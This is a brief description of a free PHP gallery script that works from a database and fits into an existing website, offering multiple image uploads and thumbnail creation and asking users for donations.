This is a small database driven gallery created to be implemented
Within your existing site.
The coding is reasonably straight forward and can be easily moved

By anyone with basic understanding of PHP.
Only a first attempt at the system has a long way to go,
But it provides you with all the necessary tools to run your own
Picture gallery,
Such as uploading of multiple images and creation of thumbnails.
The gallery is distributed as free-ware but if you decide to use it in
Any business or just decide that it's worth it,
Any donations will be greatly appreciated. details will be made available soon.
